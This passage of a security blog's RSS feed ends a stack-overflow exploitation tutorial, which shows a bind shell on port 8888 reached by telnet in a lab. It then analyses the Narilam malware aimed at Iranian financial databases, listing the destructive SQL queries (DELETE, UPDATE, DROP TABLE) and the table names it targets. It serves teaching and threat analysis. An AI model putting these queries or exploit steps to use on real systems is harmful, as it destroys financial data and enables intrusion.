&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYWAQeO5n3QuaUp7pnnQUqFZXIqBnpnuKiTYscfeYg82NfhntijsaugrpWykjIKFU-Eh4LUxNKQ6BchE2q226qJyuk60pG5Ue4xpicyHrmw4p-8M5x4t_n0DqMGpo4tv3ld3Hfl3ffpvU/s1600/stack38.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYWAQeO5n3QuaUp7pnnQUqFZXIqBnpnuKiTYscfeYg82NfhntijsaugrpWykjIKFU-Eh4LUxNKQ6BchE2q226qJyuk60pG5Ue4xpicyHrmw4p-8M5x4t_n0DqMGpo4tv3ld3Hfl3ffpvU/s400/stack38.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
And boom !!. Game is over !! ..Here you see the victim machine has opened the TCP port 8888 and is now listening on that port ..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh478PTet2wVaSdPuc-N3umNIX7-cDIJOwS7CvllJDIwl4pPwqXa4k5Os1l9c2MURm8HHLX1dPjM9Xvpkx-I4XBXNPm_SKQaSZ8eIZA3au_Tzwk7XY8HkVip_G89tVuIhJWhmTTHdm7CAI/s1600/stack39.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh478PTet2wVaSdPuc-N3umNIX7-cDIJOwS7CvllJDIwl4pPwqXa4k5Os1l9c2MURm8HHLX1dPjM9Xvpkx-I4XBXNPm_SKQaSZ8eIZA3au_Tzwk7XY8HkVip_G89tVuIhJWhmTTHdm7CAI/s400/stack39.png&quot; height=&quot;127&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let&#39;s check if we can get the shell on that port as promised by the shellcode. I did a Telnet from another machine to victim on port 8888.&lt;br /&gt;
&lt;br /&gt;
#Telnet 192.168.246.137 8888&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNb1nBXIXg3WY-_qZNvou4661G9fBlkSUC8hEtyyDaTVJSnKmBytaz5vCw0nODmjjQPAozDXvSGNF5PLmbSDUDju7h1Kh1MemjUZCM8KCYI5vTCoDzuq-gfot94j2f0Xb4L8xbYF_KS9E/s1600/stack40.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNb1nBXIXg3WY-_qZNvou4661G9fBlkSUC8hEtyyDaTVJSnKmBytaz5vCw0nODmjjQPAozDXvSGNF5PLmbSDUDju7h1Kh1MemjUZCM8KCYI5vTCoDzuq-gfot94j2f0Xb4L8xbYF_KS9E/s400/stack40.png&quot; height=&quot;178&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
This is it..Hope you&#39;d now be able to build your own working exploit ..In the next part , we&#39;ll take a look into some of the other aspects of Stack overflows and few debugger plugins which can make your life lot more easier..&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2013/02/stack-overflows-part-2-executing.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-S4AnEX65608d3HHHG9rvRBmNE___SO07Y5eQnWIRnKkoor4WsGRbOHSGUp6t4jIU2CnZy8bb11EREabX5Nb2QDqL4Fox86ZBXbuBcCbkkAI2pUt-jgVuUjEy57DiRA0E2-SWf14HShs/s72-c/stack19.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-2818267570581850092</guid><pubDate>Fri, 30 Nov 2012 10:59:00 +0000</pubDate><atom:updated>2014-06-04T23:21:41.211+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><title>&quot;Narilam&quot; Malware Attacks Iranian Financial Infrastructure</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Iranian infrastructure has been consistently under the radar of the attackers since last couple of years ..We have already witnessed some of the most organized and sopisticated attacks like Stuxnet , Duqu and similar crimes against them in the past . We have come across yet another attack against Iran which is primarily targetting MSSQL Databases of few Iranian Financial softwares.This attack has been named as &quot;Narilam&quot; because one of the financial software that it targets, named &quot;Malyran&quot;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, &#39;Times New Roman&#39;, &#39;Bitstream Charter&#39;, Times, serif; font-size: 13px; line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;I analyzed several samples of this malware, one of which was about 2MB. From the binaries’ headers, it looks as though this attack has been going on for a while: The Trojan was compiled with Borland C++ in 2010.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbwGp9QAfq3SuIeFu7_KPoP0_isMH7nvEo5LoyaCCkXrz5srECEowEI4ZJAUcc2Nk6twvEbSZH_87PIAxRxR50OtihJt3YPYpmaG2pGBsDPqkwAUxdxDXEnFmQmT9qYjhkhn81ES9lc7o/s1600/%60timestamp1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbwGp9QAfq3SuIeFu7_KPoP0_isMH7nvEo5LoyaCCkXrz5srECEowEI4ZJAUcc2Nk6twvEbSZH_87PIAxRxR50OtihJt3YPYpmaG2pGBsDPqkwAUxdxDXEnFmQmT9qYjhkhn81ES9lc7o/s400/%60timestamp1.png&quot; height=&quot;130&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;While one of the samples I looked at had a timestamp way back of 2002 ..Although these headers could have been faked, while analyzing the code we found the date April 25, 2010, which leads us to believe that this threat has existed for more than two years.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKWGVQU5Wg_qy-u7iYWZFoBIMQnKffRIU5pUXX00IAGoa24K5Yx_CGpx1FdNgDWCXhX0kNKnGla3qpIEpmRl5gmoX25hjB7ejXREfGl1FfF33c7QFHbbBEQyPPXqLz4kggwj0sBiMnOjI/s1600/timestamp.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKWGVQU5Wg_qy-u7iYWZFoBIMQnKffRIU5pUXX00IAGoa24K5Yx_CGpx1FdNgDWCXhX0kNKnGla3qpIEpmRl5gmoX25hjB7ejXREfGl1FfF33c7QFHbbBEQyPPXqLz4kggwj0sBiMnOjI/s400/timestamp.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://certcc.ir/index.php?name=news&amp;amp;file=article&amp;amp;sid=2252&quot; style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;The Iranian CERT team&lt;/a&gt;&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt; has published an alert for this malware, indicating that Narilam has been known since 2010 by a different name.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;Targets of Narilam malware&lt;/u&gt; :&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;The installation process of this malware is fairly standard in creating the start-up registry entries and copying itself as lsass.exe into the system directory. It targets certain SQL databases and tables of the following Iranian finance and banking software.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Maliran&lt;/b&gt; (integrated financial and applications software)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Shahd&lt;/b&gt; (integrated financial, commercial, and retail software)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Amin&lt;/b&gt; (banking software)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Narilam checks for the presence of these software and exits the infected systems if it does not find them.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKOrlxmkKNcNO1Slf8pliQwE39GxrjnFFCeLAeq4O4kuzWpE71f1CRJO4L4hcTSMJv1octyr0cyNgs4dsY3hsnEEw6TucmXVprMDkgw7euNeW8KfJdgObVOyv2L-WQ26B-IdHKEr4rxa4/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKOrlxmkKNcNO1Slf8pliQwE39GxrjnFFCeLAeq4O4kuzWpE71f1CRJO4L4hcTSMJv1octyr0cyNgs4dsY3hsnEEw6TucmXVprMDkgw7euNeW8KfJdgObVOyv2L-WQ26B-IdHKEr4rxa4/s400/1.png&quot; height=&quot;372&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit; line-height: 19px;&quot;&gt;Although the malware code doesn’t seem to employ any sophisticated techniques compared with its predecessors, it can connect to the specific databases via OLE DB and send SQL queries to update or delete records and drop certain tables with specific names. Here are some of the SQL queries that we’ve found in the code:&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;line-height: 19px; text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Update &lt;/b&gt;Asnad Set SanadNo=@SanadNo1,LastNo=@SanadNo1,FirstNo=@SanadNo1 Where Cast(SanadNo as int)=@SanadNo and Raj=@Raj&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Set&lt;/b&gt; @SanadNo=(select Max(Cast(sellercod As int )) from A_Sellers&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Delete &lt;/b&gt;from A_Sellers Where Cast(sellercod as int)=@SanadNo&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Update&lt;/b&gt; A_TranSanj Set Tranid=@SanadNo1 Where Cast(Tranid as int)=@SanadNo and Raj=@Raj&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Delete&lt;/b&gt; from Koll Where Cast(Koll as int)=@SanadNo&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Delete&lt;/b&gt; from Moein Where Cast(Moein as int)=@SanadNo&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Drop&lt;/b&gt; table Holiday_1&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Set&lt;/b&gt; @SanadNo=Round(@SanadNo * (SELECT RAND(@IDLE)),0,0&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Set&lt;/b&gt; @Raj=(select Max(Raj) from R_DetailFactoreForosh Where Cast(SanadNoForosh as int)=@SanadNo&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;Update&lt;/b&gt; R_DetailFactoreForosh Set SanadNoForosh=@SanadNo1 Where Cast(SanadNoForosh as int)=@SanadNo and Raj=@Raj&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, &#39;Times New Roman&#39;, &#39;Bitstream Charter&#39;, Times, serif; font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjibVTIT6uaCoUxyCvn04ffPq5oqtaeo5IXnf6hjFkO_aHQxxHHVhZScESp9vbpjOtkWfvpBPpcD3t9PrKlRiMyZCHA3nGVZHGhXiG1fbObMydD8aTtJ60vgCOEwYVlcK3i05FEUYc_6oE/s1600/0.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; font-family: Georgia, &#39;Times New Roman&#39;, &#39;Bitstream Charter&#39;, Times, serif; font-size: small; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjibVTIT6uaCoUxyCvn04ffPq5oqtaeo5IXnf6hjFkO_aHQxxHHVhZScESp9vbpjOtkWfvpBPpcD3t9PrKlRiMyZCHA3nGVZHGhXiG1fbObMydD8aTtJ60vgCOEwYVlcK3i05FEUYc_6oE/s400/0.png&quot; height=&quot;173&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Here are the some of the database tables that Narilam targets for updating and deleting records:&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Holiday_1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Holiday_2&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;A_Sellers&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;A_TranSanj&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Koll&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;R_DetailFactoreForosh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Moein&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Tafsily&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Vamghest&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Some of the table dropped from the database:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Holiday_1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Holiday_2&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;A_Sellers&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;We also came across the SQL query that tries to access MS SQL Server&#39;s sysobjects table.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeCY8AbAW0-765JznOjZxowvbFM3dqI0tI9pOwT1VI_AZID41S9K_KjTaC4fcNbdp5D4e_g_KNBbn86JwHB1qUTBK63aJQt_OvPE8g8J3acwynloZl6bgaIO5MC514EvUas1ag8duPQY/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBeCY8AbAW0-765JznOjZxowvbFM3dqI0tI9pOwT1VI_AZID41S9K_KjTaC4fcNbdp5D4e_g_KNBbn86JwHB1qUTBK63aJQt_OvPE8g8J3acwynloZl6bgaIO5MC514EvUas1ag8duPQY/s400/3.png&quot; height=&quot;237&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Binary also contains the sequence of code to further corrupt the database with random values&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
